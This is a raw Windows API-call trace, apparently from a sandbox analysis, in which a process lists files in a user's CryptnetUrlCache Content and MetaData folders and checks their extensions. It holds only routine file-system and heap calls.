[0122.012] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned="" [0122.012] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.012] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bfe570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bfe570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe9b34f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", cAlternateFileName="ACF244~1")) returned 1 [0122.012] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned="" [0122.012] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.012] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe04aaa10, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe04aaa10, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xae4e7080, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", cAlternateFileName="B3BB9C~2")) returned 1 [0122.012] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned="" [0122.012] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.012] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefc01b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefc01b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaa4ee1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", cAlternateFileName="B3BB9C~1")) returned 1 [0122.012] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned="" [0122.012] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.012] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54322770, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54322770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", cAlternateFileName="BC570E~2")) returned 1 [0122.012] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned="" [0122.012] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.012] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", cAlternateFileName="BC570E~1")) returned 1 [0122.012] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned="" [0122.012] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.012] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x56bb3b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x56bb3b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaeca3800, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", cAlternateFileName="C46E7B~2")) returned 1 [0122.012] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned="" [0122.012] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.013] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x682fbd00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x682fbd00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae0bca00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", cAlternateFileName="C46E7B~3")) returned 1 [0122.013] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned="" [0122.013] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.013] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5461c2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5461c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf67eb30, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", cAlternateFileName="C46E7B~1")) returned 1 [0122.013] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned="" [0122.013] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.013] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x728c68a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x728c68a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xae63dce0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x5ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", cAlternateFileName="D47DBD~2")) returned 1 [0122.013] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned="" [0122.013] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.013] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x545f6190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x545f6190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69b6e1e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x5ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", cAlternateFileName="D47DBD~1")) returned 1 [0122.013] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned="" [0122.013] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.013] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x808d4a70, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x808d4a70, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x808d4a70, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x663, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", cAlternateFileName="D52C56~1")) returned 1 [0122.013] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned="" [0122.013] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.013] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x683e0540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x683e0540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f015a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x64b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", cAlternateFileName="EA6180~1")) returned 1 [0122.013] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned="" [0122.013] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.013] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf312b90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf312b90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf312b90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", cAlternateFileName="F293AE~1")) returned 1 [0122.013] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned="" [0122.013] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.013] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x226, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 1 [0122.013] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F90F18257CBB4D84216AC1E1F3BB2C76") returned="" [0122.013] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3011f48 | out: hHeap=0x5e0000) returned 1 [0122.013] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x226, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 0 [0122.013] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0122.014] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0122.014] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e240 | out: hHeap=0x5e0000) returned 1 [0122.014] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0122.014] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0122.015] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="MetaData\\" [0122.015] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\") returned="CryptnetUrlCache\\" [0122.015] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0122.015] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.015] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.015] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.015] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.015] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0122.015] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.015] PathFindFileNameW (pszPath="") returned="" [0122.015] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0122.017] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.017] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.018] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf9eaad0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf9eaad0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf9eaad0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", cAlternateFileName="024823~1")) returned 1 [0122.018] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned="" [0122.018] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.018] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bd8410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bd8410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe98d390, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", cAlternateFileName="0F1583~1")) returned 1 [0122.018] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned="" [0122.018] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.018] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf952550, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf952550, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf952550, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", cAlternateFileName="1BB09B~1")) returned 1 [0122.018] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned="" [0122.019] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.019] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x4c00edb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4c00edb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4c00edb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1DAF2884EC4DFA96BA4A58D4DBC9C406", cAlternateFileName="1DAF28~1")) returned 1 [0122.019] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1DAF2884EC4DFA96BA4A58D4DBC9C406") returned="" [0122.019] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3011f48 | out: hHeap=0x5e0000) returned 1 [0122.019] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x580eb5c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x580eb5c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaedd4300, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x124, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="23B523C9E7746F715D33C6527C18EB9D", cAlternateFileName="23B523~1")) returned 1 [0122.019] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\23B523C9E7746F715D33C6527C18EB9D") returned="" [0122.019] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3011f48 | out: hHeap=0x5e0000) returned 1 [0122.019] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xc3791460, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc3791460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc3791460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3130B1871A126520A8C47861EFE3ED4D", cAlternateFileName="3130B1~1")) returned 1 [0122.019] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3130B1871A126520A8C47861EFE3ED4D") returned="" [0122.019] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3011f48 | out: hHeap=0x5e0000) returned 1 [0122.019] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53fdc930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53fdc930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf16fc70, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", cAlternateFileName="3388EC~1")) returned 1 [0122.019] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned="" [0122.019] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.019] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53b19d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53b19d30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54583d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", cAlternateFileName="40E450~1")) returned 1 [0122.019] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned="" [0122.019] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.019] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54537ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54537ab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae76e7e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, 